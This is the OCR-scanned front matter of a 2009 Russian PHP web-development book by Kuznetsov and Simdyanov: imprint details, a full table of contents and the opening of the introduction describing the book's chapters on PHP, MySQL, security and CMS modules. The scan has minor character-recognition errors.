Оглавление
Введение
Часть I. Общие вопросы
Глава 2. Работа с СУБД MySQL
Глава 3. Протокол HTTP
Глава 4. \
Глава 5. Безопасность создаваемых Web-приложений
Глава 6. Вспомогательный набор классов. Framework
Глава 7. Постраничная навигация
Часть II. Создание сайта
Глава 9. Ограничение доступа к системе администрирования
Глава 10. Новостной блок
Глава 11. Блок \
Глава 14. Система поиска по сайту
Глава 15. Блок \
Глава 16. Блок голосования
Глава 17. Гостевая книга
Глава 18. Регистрация пользователей
Глава 19. Почтовая рассылка
Глава 20. Фотогалерея
Глава 21. FTP-менеджер
Глава 22. Защита директорий паролем
Глава 23. Система мониторинга позиций сайта в поисковых системах
Глава 24. Система учета посещаемости сайта
Глава 25. Форум: проектирование
Глава 26. Форум: система представления
Глава 27. Форум: система администрирования
Глава 28. Динамические изображения. Библиотека GDLib
Заключение
Приложения
Приложение 2. Установка MySQL
Приложение 3. Использование cron
Приложение 4. Регулярные выражения
Приложение 5. Описание компакт-диска
Рекомендуемая литература
Предметный указатель
Text
                    Максим Кузнецов
Игорь Симдянов
практика создания
Web-сайтов
2-е издание
Санкт-Петербург
«БХВ-Петербург»
2009


УДК 681.3 .06 ББК 32.973.26-018.2 К89 Кузнецов, М. В. К89 РНР. Пракгика создания Web-сайтов I М. В . Кузнецов, И. В. Симдянов. - 2-е изд., перераб. и доп. - СПб.: БХВ-Петербург, 2009. - 1264 С.: ил. + CD-ROM - (Профессиональное программирование) ISBN 978-5 -9775-0203-0 Рассматривается создание большого количества Web-приложений, входя­ щих в состав полнофункционального Web-саЙта. Попутно подробно обсуж­ даются все вопросы, с которыми может столкнуться Web-разработчик , начи­ ная с создания инструментария для быстрой разработки Web-приложений и последних нововведений языка программирования РНР и заканчивая вопро­ сами безопасности и особенностями программирования клиент-серверных приложений. Книга ориентирована на читателей, знакомых с языком разметки HTML и базовыми возможностями языка программирования РНР. Второе издание полностыо переработано, учтены нововведения версий РНР 5.1 и 6.0. Прила­ гаемый компакт-диск содержит исходные коды всех Web-приложений, разра­ батываемых в книге. Для nрогРШ/Мllсmов и Web-разрабоmчиков Группа подготовки издания: Главный редактор Зам. главного редактора Зав. редакцией Редактор Компьютерная верстка Корректор Дизайн серии Оформление обложки Зав. производством Екатерина Кондукова Евгений Рblбаков Григорий Добин Ирина Арте.мьева Натальи Смирновой Зинаида Дмитриева ИННbI Тачиной Елены Беляевой Николай Тверских Лицензия ИД N2 02429 от 24.07.00. Подписано в печать 02.07.09. . Формат 70х 100'1,6. Печать офсетная. Усл. печ. л . 101,91. Доп. тираж 2000 экз. Заказ N2 3862 "БХВ-Петербург", 190005, Санкт-Петербург, Измайловский пр., 29. УДК 681.3.06 ББК 32.973 .26-018.2 Санитарно-эпидемиологическое заключение на продукцию N2 77.99 .60.95з.д .005770.05.09 от 26.05.2009 г. выдано Федеральной службой по надзору в сфере защиты прав потребителей и благополучия человека. ISBN 978-5 -9775-0203-0 Отпечатано с готовых диапозитивов в ГУП "ТипографИЯ "Наука' 199034, Санкт-Петербург, 9 линия, 12 � КузнеЦО6 м. в .. Снмдяно" и. В • 2008 � Оформление, изД"тenьст"о "БХВ-Петербург", 2008
Оглавление ВВЕдЕниЕ ...................................................................................................................... 1 Для кого и о чем эта книга? ....... . . ...... . ..... . . ............. . ....... . ..... . ... ...... ....... . . .. .. . ..... ..... . 1 Как построена книга ..... ........................... ..................... .. ... . . ...... .................. .... ......... 2 Предисловие авторов ко второму изданию . . .... .. .......... . . . . . . .... ....... ..... .. . . ........ ....... . 4 Благодарности .......... . .. ....... ...... ............. ..... .................................... . .. ...... ....... ... ... ... .. 4 ЧАСТЬ 1. ОБЩИЕ ВОПРОСЫ ................................ ...... ................................................ 5 rЛАВА 1. ОБЪЕКТНО-ОРИЕНТИРОВАННЫЕ ВОЗМОЖНОСТИ РНР ............ . . . . . . . . . . . . . 7 1.1 . Введение в объектно-ориентированное программирование . ............ .... .... .... 7 1.2. Создание класса.......... . . ... ......... ........ ............ . .. ... . .. ... . .. ................. ........ . .. ........... 9 1.3. Создание объекта ......... .................... ......... .. ... .... .. . ......... . .. . . ............. . . .............. 1О 1.4. Инкапсуляция. Спецификаторы доступа ........... . . . . ................ ... ............... . . . . .. 12 1.5. Методы класса. Член $this. . . ...... .................. .... . ................... ....... . . ...... .. ........... 14 1.6.Дамп объекта ....... ....... . . . ...... ................ ........ ... .... . . ..... ..... ... ..... ................. ....... .. 19 1.7. Специальные методы класса .......... . . .... . . . . . . . .. . .......... ...... ..... . . ...... ..... .. ...... ..... . . 20 1.8 . Функции для работы с методами и классами . . ...... ... . . . . ...... .. ....... ............... . .. 21 1.9. Конструктор. Метод _constructO .... . . . . . ....... ...... . ....... ..... . .... ..... ..... ........ . . . .. .. . 23 1.10 . Параметры конструктора ......... . . . .. . . . ... . . . . . . . . .. ......... . .... . . ... .......... .. ..... ... .......... 26 1.11. Деструктор. Метод _destructO ........ ..... ...... .... ...... . . ...... . . ........ ........ ... .. . . . . . . . . . 28 1.12. Автозагрузка классов. Функция _autoloadO . ......... .... .. .... ... . ......... . .... .... .... 29 1.13 . Аксессоры. Методы _setO и �etO... ... ....... . ..... . . ..... . . .... . . . ..... .. ................. . 30 1.14. Проверка существования члена класса. Метод _issetO ......... .... . . .. ...... .... . 32 1.15. Уничтожение члена класса. Метод _unsetO . .... ..... . . ........ ........... ........ ....... 33 1.16. Динамические методы. Метод _саllО . ............ ... .. ...... ..... . . ..... . ..... . . ... . . . . . . . . . 35 1.17 . Интерполяция объекта. Метод _toStringO ................ ................. ... .. . . ........ . 3 8 i .18 . Экспорт объектов. Метод _set_stateO ... ....... ... ....... .......... . . . . . ..... . . . . .......... . . 40 1.19. Наследование ........ . ... ...... . . . . . . .. ... . .. ............... ..... ............ . ....... ...... . ... .............. . . 46
/V Оглавление 1.20. Спецификаторы доступа и наследование ..................................... . .............. 49 1.21 . Перегрузка методов .............................. ......................................................... 52 1.22. Полиморфизм ............................................................................................ . .. .. 54 1.23. Абстрактные классы ...................................................................................... 57 1.24. Абстрактные методы ..................................................................................... 58 1.25. Создание интерфейса................................................................................... . . 59 1.26. Реализация нескольких интерфейсов ........................................................... 62 1.27. Наследование интерфейсов ......... . ......................................................... .... . . .. 63 1.28. Статические члены класса ............................. . ................................... ............ 64 1.29. Статические методы класса .......................................................................... 68 1.30. Константы класса.... . .................... ................................ . ................................. 69 1.31. Предопределенные константы ................................ . ................. . .............. ... .. 70 1.32. FinaZ-методы класса .......................... . .......................... .................................. 73 1.33. FinaZ-классы.........:..........................................................................................75 1.34. Клонирование объекта................ . .................................................................. 76 1.35. Управление процессом клонирования. Метод _cZoneO ............... ............. 78 1.36. Сериализация объектов ................................................................................. 79 1.37 . Управление сериализациеЙ. Методы _sZeepO и _wakeupO ..................... 82 1.38. Синтаксис исключений ........................................... . .. . ..... ....... . . .... . . ....... ... .. .. . 9 1 1.39 . Интерфейс класса Exception.. . ..................................................... . ....... . . .. . . .. . . 95 ГЛАВА 2. РАБОТА С СУБД MvSQL ........................................................................ 99 2.1 . Введение в СУБД и SQL ............................................................................... 100 2.2. Первичные ключи .......................................................................................... 104 2.3 . Создание и удаление базы данных ............................................................... 105 2.4. Выбор базы данных ..................... ....................... ............................... ... . . . .. . . . . 108 2.5. Типы данных................................................................................................. .. 110 2.6. Создание и удаление таблиц .. ....................................................................... 116 2.7 . Вставка числовых значений в таблицу ........................................................ 124 2.8 . Вставка строковых значений в таблицу ....................................................... 126 2.9 . Вставка календарных значений .................................................................... 128 2.10. Вставка уникальных значений.................................................................... 131 2.11. Механизм А ито JNCREMENT .................................................................. 132 2.12. Многострочный оператор JNSERT ............................................................. 133 2.13. Удаление данных ......................................................................................... 134 2.14. Обновление записей..................................................................................... 135 2.15. Выборка данных........................................................................................... 138 2.16. Условная выборка ........................................................................................ 140 2.17. Псевдонимы столбцов ................................................................................. 147
Оглавление v 2.18. Сортировка записей ........................................ ........................... ... ...... ........ . 148 2.19. Вывод записей в случайном порядке ..................................................... .... 151 2.20. Ограничение выборки. .... .................... .................................................. ... . . .. 151 2.21. Вывод уникальных значений . . . . .... .... .. .. . .. .... . . . . . . . ................... ..... ................ 153 2.22. Объединение таблиц..... .... ........................................................................... 155 2.23. Функции MySQL.............................................. ............................................ 157 2.24. РНР и MySQL ........ . .. ..... .. ... . .. . . . . . ... . . . ....... .. ...... . . ........... ... .. ........ .......... . .. . . .. .. 204 ГЛАВА 3. ПРОТОКОЛ НТТР ... ".............................................................................. 214 3.1 . Функции для работы с НТТР-заголовками ................................ ...... . . . . ...... . . 215 3.2. Сессии и сооюе ................................. .............................................................. 239 3.3. Сокеты и CURL........... ............... ................................................ ................. ... 248 3.4. Работа с доменами и IР-адресами.............................................................. ... 282 ГЛАВА 4. "ХИТРОСТИ" РНР ............................ ....................... ....................... ... ... .. 289 4.1. РНР и JavaScript......................... ............................................ ............... .......... 289 4.2. О профилировании кода.................. .................................................. ....... . .... 291 4.3 . Подсветка кода с помощью стандартных функций РНР ........... . . . .. . .. . .. ... . . 294 4.4 . Подсветка синтаксиса РНР (собственная функция) .................. ............. .. . . 295 4.5. Загрузка файлов на сервер.............. ....................................... ....... ............. .... 300 4.6 . Редактирование файлов на сервере ..... . . .............. . ....... .. ... . . . . ........ . . ..... . ... . . . .. 304 4.7. Счетчик количества загрузок файла..................................... . ................ . . .. ... 307 4.8. Количество файлов в каталогах........... . ........................................................ 31О 4.9. Копирование содержимого одной директории в другую.................... ....... 313 4.10. Удаление директории ............................................................... ....... ...... ... ... 315 4.11 . Случайное изображение из директории.. . . . . ........... ............ ..................... ... 316 4.12 . Определение размера файла. ........ ........ .... .. . . ..... . ... ... . . . .... ... .... ... .. ... .... . .. . . . .. . 317 4.13. Предотвращение загрузки страниц ......... . . . . . . . . . . . . .. .... .... . . ....... ...... . . . ...... ... . . 319 гЛАВА 5. БЕЗОПАСНОСТЬ СОЗДАВАЕМЫХ WЕВ-ПРИЛОЖЕНИЙ .... ....... ............. 324 5.1 . Проверка корректности данных, вводимых пользователем ............ ... ... .. . . 324 5.2 . Публикация изображений и файлов ............... ......... . ....... ...... ....... ..... . . . . . . . .. . . 3 32 5.3. Методы шифрования ..................................................................................... 337 5.4. SQL-инъекции ................................................................................................ 345 5.5 . xSS-инъекции. .. .. . . .. ...... ..... .......... .. .. ... ........... .... . .. . .. . ... .................. ...... . . . . . . . . . . . 3 59
VI Оглавление г ЛАВА 6. ВСПОМОГАТЕЛЬНЫЙ НАБОР КЛАССОВ. FRAМEWORK . ... ... ... .. ... ....... .. 366 6.1 . Требования к набору классов ........................................................................ 369 6.2. НТМL-форма и ее обработчик ........................................................... . .......... 372 6.3. Обработка исключительных ситуаций ......................................................... 379 6.4. Базовый классfiеld...... ........ ....... ................................. . .................................. 382 6.5 . Текстовое поле. Классfiеld_tехt........................... ... .... .. ........... .. .......... . . . . . . . . . 3 86 6.6. Классfrom ....................................................................................................... 392 6.7 . Пример НТМL-формы .............................................................. . . . .... ....... .... ... 3 97 6.8 . Поле для пароля. Классfieldyassword ........................................................ 407 6.9. Поле для ввода английского текста. Классfield_text_english ......... ..... ...... 41О 6.10. Поле для ввода целых чисел. Классfield_text_int ..................................... 412 6.11 . Поле для ввода электронной почты. Классfiеld_tехt_еmаi/..................... 415 6.12 . Текстовая область. Классfield_textarea ....... .... ...... ..... ...... . . . .... . . . ...... .... .. . . . 417 6.13. Скрытое поле. Классfield_bldden ............................................................... 427 6.14. Скрытое поле для целых значений. Классfiеld_hiddеn_int.. .. . . . .. .. ........... 4 31 6.15. Флажок. Классfiеld_сhесkЬох . .................................................................... 439 6.16. Список. Классfield_select............................... ... ........................ .................. 443 6.17. Переключатели. КлассfieldJadio ................. ... ... ..... ... . ........... ........... .. . . . .. . 44 9 6.18. Поле для загрузки файла на сервер. КлассfieldJzle ................ . ...... .. ........ 4 54 6.19. Заголовок. Классfеld_titlе ......................... ................................................. 460 6.20. Параграф. Классfieldyaragraph .................................. ...... ............. ........... 465 6.21. Выбор даты и времени. Класс fteld_datetime .............................................468 6.22 . Обзор элементов управления ...................................................................... 474 г ЛАВА 7. ПОСТРАНИЧНАЯ НАВИГАЦИЯ ............................................................... 476 7.1 . Базовый класс постраничной навигации .....................................................476 7.2 . Файловая постраничная навигация ..................... . . ...... .. ... .. .. ... ......... .... ........ 4 82 7.3. Постраничная навигация и пеиск ........... . . . . . .. . . . . .. . .. .. . .. . . .............. .. . ..... .... . .... 48 8 7.4. Постраничная навигация для ДJ.l"ректории ...................... ....... . ... .................. 4 9 3 7.5 . Постраничная навигация для б�зы данных .. ............................................... 499 7.6 . Изменение формата постраничJЮЙ навигации ............................................ 507 ЧАСТЬ 11. СОЗДАНИЕ САЙТА ••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••.•••••••••• 511 ГЛАВА 8. ПРОЕКТИРОВАНИЕ САЙТА •••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••.••••• 513 8.1. Структура системы управления сайтом (CMS) ........ . .... ...... .. .. .. .......... ... ..... 51 5 8.2. Общие файлы системы администрирования .............. ....... ........ .... .............. 521
Оглавление V/I ГЛАВА 9. ОГРАНИЧЕНИЕ ДОСТУПА К СИСТЕМЕ АДМИНИСТРИРОВАНИЯ ••••••••• 529 ГЛАВА 10. НОВОСТНОЙ БЛОК•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 547 10.1. База данных .................................................................................................. 547 10.2 . Система администрироваl-lИЯ .... .. . . . . . . . . . . . . . . . .................... ......... ....... ...... ..... . . 548 10.3 . Система представления ......................................................... : ..................... 571 ГЛАВА 11. Блок "ВОПРОСЫ И ОТВЕТЫ" .... ........................................................ 581 11.1. База данных ............................................. ..................................................... 581 11.2. Система администрирования ........... .... . . .......... ..... ........ ........ .............. . . ... . . . 5 82 11.3. Система представления ............................................................................... 608 ГЛАВА 12. СИСТЕМА АДМИНИСТРИРОВАН ИЯ СОДЕРЖИМОГО САЙТА (CMS)................................................................................. 611 12.1. База данных ................................. ................................................................. 611 12.2. Система администрирования ...... ................................................................ 621 12.3. Система представления ......... . ... . . . . . . .. . . . . . . . .......... ....... . . . . ......... ........ ...... . . .... . 6 62 ГЛАВА 13. КАТАЛОГ ПРОДУКЦИИ (УСЛУГ) .......................................................... 678 13.1 . Проектирование базы данных. . .. . . ....... . . . . . . . . . . . . . . . . . . . .......... ..................... ...... 678 13.2. Система администрирования ...................................................................... 682 13.3. Импорт прайс-листа................................. . ................................................... 712 13.4. Блок представления .....................................'................................................ 722 ГЛАВА 14. СИСТЕМА ПОИСКА ПО САЙТУ ............................................................. 734 14.1 . Специализированный поиск по Каталогу. . ................ ....................... . . .. .... . . 734 14.2. Поиск по сайту ................................................................................. . ....... .. .. 747 ГЛАВА 15. Блок "КОНТАКТЫ" .... ......................... ................................................ 762 15.1. База данных .................................................. . ............................................... 762 15.2 . Система администрирования ............... ..... .... .... .. ...... ......... . . . ......... .... ... . . . . . . 763 15.3 . Блок представления ........ . . . . . . . . .......... . . . .. ........ ............. . . ... ...................... . ..... 766
V/I I Оглавление ГЛАВА 16. Блок ГОЛОСОВАНИЯ •.•••••••••••••••••••••••••.••••••••••••••••••••.••....•••.•••••••••••••••• 769 16.1. База данных ......................... ....... .............. .......................... .... ...... ... . ...... ...... 769 16.2 . Система администрирования ........... ........... ............ ......... .... . ........ ............ .. 772 16.3. Система представления ............................................................................... 784 ГЛАВА 17. ГОСТЕВАЯ КНИГА ................................................................................. 793 17.1. База данных ..................................................... .. .. ... .. ...... .... .. .. ... .. . .. . .. . .. .. .. . .. . 7 9 3 17.2. Блок представления .......... . .. .......................................................... .. ..... ....... 795 17.3. Система администрирования ............................... ... ............. ....................... 805 ГЛАВА 18. РЕГИСТРАЦИЯ ПОЛЬЗОВАТЕЛЕЙ ....................... ............... ............... ... 81 8 18.1 . База данных .... ........................................ . . ...... ...... ..... ......... .... . ... .... ...... .. .. . ... 8 18 18.2 . Регистрация пользователей .............................................. . . .... . . .. .. .... .. . ... .... . 820 18.3. Аутентификация пользователя .......................................... ... . ..... ..... ......... .. 826 18.4. Восстановление пароля ............................................................................... 834 18.5 . Система администрирования .................................................................... .. 83 8 ГЛАВА 19. ПОЧТОВАЯ РАССыЛКА............................................... ........ ......... ........ . 846 ГЛАВА 20. фОТОГАЛЕРЕЯ ••.••••••.••..•••••.•••••••••••.••••..••.•••.•.•••••..••.•••••••••.••••••••.••.••••••• 853 20.1. База данных .......................................... .... ... ... . . .... .. .. .. .. .. .. .. ... .. .... ..... . .. .. ... ... . 8 5 3 20.2 . Система администрирования ......... .................. ......... ... .. ... . . .. ... . .. .. .. .. ... . . . . ... 8 56 20.3. Система представления ............................. .. . . . . ... .. ... .... ..... .. . .. . ... ... . .. . . .... . .. . .. 8 82 ГЛАВА 21. FTP-МЕНЕДжЕР •.....•.•••••••••••...•••••••••...•...••••••••••••••.••••...•...•••••••..••.•.•.•.•• 893 21.1. Функции для работы с FTP-сервером ............................... ......................... 894 21.2. FТР -менеджер .............................. .. .. ...... . .... ......... .... ... .. .. .. .. . ... ... . . ....... ..... ..... 904 ГЛАВА 22. ЗАЩИТА ДИРЕКТОРИЙ ПАРОЛЕМ •••.••••..•.•.••..••.••..••••••••••••..••.•••••••••••••• 935 22.1 . Конфигурационные файлы .htaccess и .l1tpasswd .......... ........ .. . .. .... ... .... .... 9 3 5 22.2. Web-интерфейс защиты директории паролем............................... ....... . .. .. 94 3
Оглавление 'Х ГЛАВА 23. СИСТЕМА МОНИТОРИНГА ПОЗИЦИЙ САЙТА В ПОИСКОВЫХ СИСТЕМАХ •••••••••••.•••.•••.•••.•••••.•.••.•.••••.••.••••.•••••.•.••••••.••••••••••••••..••..•. 967 23.1 . Извлечение ссылок с Yandex ...................................... ...... .. . . . .. . . . . . . . . . . . . . . . . . . . 968 23.2: Извлечение ссылок с Google ......................... .... ... ..... .. .. .. . .. ....... ......... . .. .. . . .. 972 23.3 . Извлечение ссылок с Rашblег .................. ......... .... ............. . .. ..... .. ...... ....... .. 9 7 4 23.4 . Извлечение ссылок с Aport . ....... . .. .. .... ..... .... .. ...... . .......... ...... ......... . . . .. . .. . . . . . 9 7 6 23.5 . Мониторинг позиции сайта ............... .... ..... .. ...... . ......... .... .. .. ...... ... ... ........... 978 ГЛАВА 24. СИСТЕМА УЧЕТА ПОСЕЩАЕМОСТИ САЙТА ....................................... 987 24.1 . База данных ..................................................................... . .. . . . . . . . . . . . . . . . . . . . . . . . . . . 988 24.2. Учет статистики................................. ........ ... . . . ......... ..... . ... . ... . . . . . . . . . . . . . . . . .. . . . . . 99 9 24.3. Система администрирования ........................................... .. .. .. . . . . .. . . . . ... ... ... 1007 24.4 . Разработка системы администрирования .......................... .. . . . . . . . . . ... . ... .. .. 1О12 ГЛАВА 25. ФОРУМ: ПРОЕКТИРОВАНИЕ ......................... ... ................................ .. 1038 25.1. Проектирование базы данных.... ... . .. . .. . . . . . . . .. .. ......... ... .... . .. .... ...... ......... ..... 1039 25.2. Проектирование структуры ..... ...... ....... ...................... ............ .... .... .... .... ... 1052 ГЛАВА 26. ФОРУМ: СИСТЕМА ПРЕДСТАВЛЕНИЯ ••••••••••••..•••••••••.••••.••••...••..• •••.•• 1054 26.1. Описание файлов форума.......................................................................... 1054 26.2 . Описание функциональности форума ....... .................... . . ........ ..... . . . . . . ... .. . 1058 ГЛАВА 27. ФОРУМ: СИСТЕМА АДМИНИСТРИРОВАНИЯ••••••••••••••••••. . . •. ••. . ••. •. . •. . . 1067 27.1. Описание файлов форума.............................. ............... ......... ........... ... . . .. . . 1067 27.2 . Описание функциональности форума ..... . .... .... .... ... .. .... ... .... . .... .. . ..... ... .... 1069 ГЛАВА 28. ДИНАМИЧЕСКИЕ ИЗОБРАЖЕНИЯ. БИБЛИОТЕ КА GDLIB .............................................................................................. 1080 28.1. Информационные функции .... . ... .. . .. .. . .. . .. .......................... ........ .. . .. .. . . ... . . . . 1081 28.2 . Функции создания изображений ........ ................ .... ...... ......... .......... .. . . . . . . . 1089 28.3 . Функции сохранения и вывода изображений.......... ........ ....... .. ....... . . .... . . 1092 28.4. Функции преобразования изображений................................ .... ... ... .... ... .. 1094
х Оглавление 28.5 . Функции для работы с цветом .................................................................. 1099 28.6. Функции рисования ................................................................................... 1108 28.7. Функции настройки рисования ................................................................. 1119 28.8 . Функции для работы с текстом ..... . . . .. . . . . . ........................ ...... . ................... 1 1 22 3АКЛIОЧЕНИЕ .......................................................................................................... 1130 ПРИЛОЖЕНИЯ ................................................ .............. .......... ........... ................ 1131 ПРИЛОЖЕНИЕ 1. УСТАНОВКА И НАСТРОЙКА РНР, WEB-CEPBEPA АРАСНЕ И MvSQL-СЕРВЕРА .................................................................................. 1133 П1.]. Где взять дистрибутивы?................ . ......... . ................................. . ............. 1134 П].2 . Установка Web-сервера Apache под Windows ....................................... 1137 П].3. Установка Web-сервера Apache под Linux ..... ............ ....... ......... .... . ...... . 1141 П1.4. Настройка виртуальных хостов ............................................................... ]142 Пl.5. Настройка кодировки по умолчанию ... . . . .. . . . . . . ....... ....... . ... . ......... .. .......... 1146 Пl.6 . Управление запуском и остановкой Web-сервера Apache ......... ... ..... . . . 1147 Пl.7. Управление Apache из командной строки .......... ..... . ........................ . . . . .. 1148 Пl.8. Установка РНР под Windows...................................................... .......... . .. 1150 Пl.9. Установка РНР под Linux.................................................... .................... . 1153 Ш.I0. Общая настройка конфигурационного файла php.ini ... ............. .......... 1 154 Пl.ll . Настройка и проверка работоспособности расширений РНР. . . . . . . . . . . . . 1 158 ПРИЛОЖЕНИЕ 2. УСТАНОВКА MvSQL.............................................................. 1160 П2.1. Установка MySQL под Windows.............................................................. 1160 П2.2. Установка MySQL под Linux ................................................................... 1]78 П2.з. Конфигурационный файл.... ............................................ . ........................ 1182 П2.4. Утилита mysq1.............. . ..... . ....................................................................... 1185 П2.5 . Перенос баз данных с одного сервера на другой ................................... 1197 ПРИЛОЖЕНИЕ 3. ИСПОЛЬЗОВАНИЕ CRON ............................ . ............. .............. . 1201 П3.1. РНР как консольный интерпретатор ............................... . ... . ................... 1201 П3.2. Планировщик заданий или работа с cron....... ..... ........ ....... ..... .... ............ 1205
Оглавление Х/ ПРИЛОЖЕНИЕ 4. РЕГУЛЯРНЫЕ ВЫРАЖЕНИя•••••••••••••••••••••••••••••••••••••••••••••••••••• 1209 П4.1. Синтаксис регулярных выражений .. .. ... ... ... .. . .... ...... ...... . .. ...... .. .... .... . .. . . . 1 209 П4.2. Функции для работы с регулярными выражениями ... .. ... .. . ... .. . . .. ... . ... . . . 1 213 ПРИЛОЖЕНИЕ 5. ОПИСАНИЕ КОМПАКТ-ДИСКА ....... ....... ......... .... ........... ......... 1219 РЕКОМЕНДУЕМАЯ ЛИТЕРАТУРА.... .. ... .. ......... .................. ... ... .................... ....... ..... 1221 HTML, XML, CSS, JavaScript и Flash ......... .. . . . . .... .. . .... . . . ... ... ..... . ..... ....... .... ...... .. 1223 РНР и Perl . .... ... .................. ............... ... .... . .... .. . .......... .. ............ . ... ... ........ ........ ..... 12 26 СУБД MySQL . ............... ............... ......... ............ .............. . . . ..... .... ... . . .. .... ..... ..... . ... 1 228 Интернет и Web-сервер Apache ... ... ... ... ... .. . ............ ................ .......... .............. .. . 1230 Регулярные выражения........................................................... ............................ 123] UNlX"-подобные операционные системы ..... .... ..... ... ... . .. ... .... .. ..... ... . ... ... ... . ... . . .. 1231 Методология программирования .............. .......................... .... ............ ... ........... 1233 ПРЕДМЕТНЫЙ УКАЗАТЕЛЬ........ ..... .......... ... ......... ........ .. ................... .... ... .. .... ........ 1235
Введе ние Для кого и о чем эта книга? Как показало общение с читателями, многие разработчики стал киваются с трудностя м и при переходе от учебных примеров к созданию промышленных саЙтов. Среди существующей литературы имеется большое кол ичество книг, последовательно излагающих язык, и очень мало книг посвя щено проектиро­ ванию и реал изации больших Web-проектов. Книга, которую вы держите в руках, запол няет этот пробел : в ней рассматривается создание ко рпоративно­ го Web-сайта, начиная с построения вспомогател ьного кода - объектно­ ориентированного FrameWork, заканчивая большими масштаб ируемыми Web-приложениями, разработка и отладка которых может занимать от не­ скольких месяцев до нескол ьких лет. Книга ориентируется на читател я, знакомого с основами языка разметки HTML и базовыми возможностями РНР . Код, представленный в книге и поставляемый на компакт-диске, не является абстрактным построением, разработан ным специально для книги. Это реально действующие на многих десятках сайтов Web-приложения, которые были раз­ работаны и в настоящий момент испол ьзуются сотрудниками Web-студии SoftTime (http ://ww w .softtime.ru). Помимо книги вы приобретаете готовый Web-сайт и инструментарий для разработки Web-приложений, экономя не­ скол ько лет разработки и несколько тысяч долларов. Вы можете разрабаты вать свой собственный сайт, оттал киваясь от представл енной в книге версии, или взять готовый вариант с ко мпакт-диска и добавить к нему собственный дизайн. Вы не ограничены в ко ммерческой эксплуатации кода: вы можете создавать сайты для ваших кл иенто в или для собственной компании на основе кода, представленного в книге, - ни лицензионных отчислений, ни ссылок на наш сайт не требуется. Единственное ограничение - нел ьзя нарушать авторские права: в комментариях РНР-кода доmI<НЫ оставаться фамилии разработчиков. Код приложений, представленных на ко мпакт-д иске, а таюке дополнитель ­ ные материалы можно найти на группе сайтов IТ-студии SoftTime: О http://www.softtime.ru - главный сайт; О http://www.softtime.org - проекты студии; О http://www.softtime.biz - услуги студии; О http://www .softtime.mobi - вариант портала для мобильных устройств .
2 Введение Как построена книга Книга содержит Введение, 28 гл ав, Заключение и пять приложений. В ко нце книги вы найдете обзор литературы в области Web-разработки с подробными комментариями авторов. Первые семь гл ав первой части посвящены п одго­ товке к процессу разработки сайта и сосредотачивают внимание читател ей на наиболее сложных вопросах Web-программирования: если фундамент здания шаткий, оно будет качаться, а возможно, и рухнет. Глава 1 посвящена объектно-ориентированным возможностя м языка про­ граммирования РНР. Нач иная с версии РНР 5.0, объектно-ориентированная модел ь претерпела значительные из менения. В настоящий момент РНР обла­ дает полноценной объектно-ориентированной модел ью, которой мы будем пользоваться на протяжении всей книги . В главе 2 рассматриваются вопросы работы с СУБД MySQL: создание, ре­ дактирование, заполнение таблиц MySQL, осуществление разнообразных SQL-запросов, взаимодействие РНР с MySQL. Глава 3 посвящена протоколу НТТР, являющемуся основой Web-среды. Язык РНР спроектирован таким образом, чтобы по возможности оградить разра­ ботч ика от необходимости вникать в низкоуровневые реализации Сети . Од­ нако эффективные Web-приложения без знания протокола НТТР освоить не­ возможно. В любом случае, необходимо четко понимать, как РНР реализуют те или иные сетевые возможности. В главе 4 рассматриваются различные "тонкие вопросы" программирования на РНР. По сути, эта гл ава представляет собой просто небольшой сборник рецепто в на тему программирования на РНР. Глава 5 посвящена вопросам безопасности : любое Web- приложение ориен­ тировано на использование большим количеством посетителей. В таких условиях вопросы безопасности приобретают особое значение, так как ха­ рактер, настроение, технические возможности аудитории предсказать невоз­ можно. Если в обычных, не сетевых приложениях вопросы безопасности можно отложить на второй план, в сетевых приложе ниях безопасность всегда стоит на первом месте . Глава 6 посвящена созданию набора классов, знач ител ьно облегчающих раз­ работку Web-приложений, в частности, компоновку НТМL-форм и обработку исключительных ситуаций. Глава 7 также посвящена вспомогательным кл ас сам - здесь основное BHI-\­ мание уделяется созданию классов постраничной навигации.
Введение 3 ВО второй части книги проводится разработка п ол нофункциональной сис­ те мы ад министрирования Web-сайта, включающая как непосредственно сис­ тему администрирования содержимого сайта, так и основные програм мные бл оки : систему голосования, гостевую книгу, систему новостей, систему от­ правки сообщений с сайта, фотогалерею, катал ог продукции, систему полно­ тексто вого поиска и систему сбора и анализа статистики по посетителям сай­ та ("счетчик посетителей") и т. п. Как и положено, началу разработки системы адм инистрирования предшест­ вует ее проектирование, которое проведено в главе 8. Гл ава 9 посвящена защите системы администрирования от несанкциониро­ ванного просмотра. В главе 1 О разрабатывается блок "Новости". В гл аве 1 1 проводится разработка блока "Ответы и Вопросы". Гл ава 12 посвящена созданию основного блока системы ад министрирова­ ния - системе ад министрирования содержимого сайта (CMS). В главе 13 создается катал ог продукции. В гл аве 14 рассматривается разработка системы полнотекстового п оиска по саЙту. Разработке динамически изменяемого блока "Контакты" посвящена глава 15. В главе 16 проводится разработка блока "Голосование". В гл аве 17 проводится разработка блока "Гостевая книга". Гл ава 18 посвящена регистрации и управлению пользователей на саЙте . Гл ава 19 посвящена созданию почтовой рассыл ки по электронным адресам зарегистрированных пользователей. Гл ава 20 посвящена разработке фотогалереи. В главе 21 проводится разработка FТР-менеджера. В главе 22 создается система защиты паролем отдел ьных директорий саЙта. Глава 23 посвящена вопросам разработки системы мониторинга позиции сай­ та в поисковых системах по выбранным поисковым запросам . В главе 24 разрабатывается полнофункциональная система сбора и анализа статистики по посетителям саЙта. Гл авы с 25 по 27 посвящены созданию профессионального форума с разви­ той системой администрирования.
4 Введение В последней главе 28 расс матриваются приемы работы с динамической гра­ фикой при помощи библ иотеки GDLib. Предисловие авторов ко второму издан ию Первое издание книги "РНР 5. Практика создан ия Web-сайтов" получило широкий откл ик среди читателей, так как книга содержала сайт, гото вый к использованию. К сожалению, в Web-среде изменения происходят очень быстро, и в последнее время ряд приложений отказ ы вались работать без предварител ьной настройки. В связи с этим при переиздан ии было принято решение полностью переписать книгу: структуру, текст, код Web-при­ ложений. В момент, когда пишутся эти строки, РНР-сообщество приняло решение о прекращении поддержки РНР 4 и ориентации на РНР 5; уже из­ вестны изменения, которые коснутся языка в шесто й версии. Код приложе­ ний, в отличие от первого издания книги, полностью объектно-ориенти­ рованный и будет ус пешно работать как в РНР 5, так и в РНР 6. С версией РНР 4 он не совместим. Основное внимание в книге уделяется разработке максимально возможного кол ичества высокоэффективных Web-приложений, в которых может возник­ нуть потребность у разработчиков крупных сайтов и порталов. Разрабаты­ ваем ые в книге Web-приложения проектируются и создаются 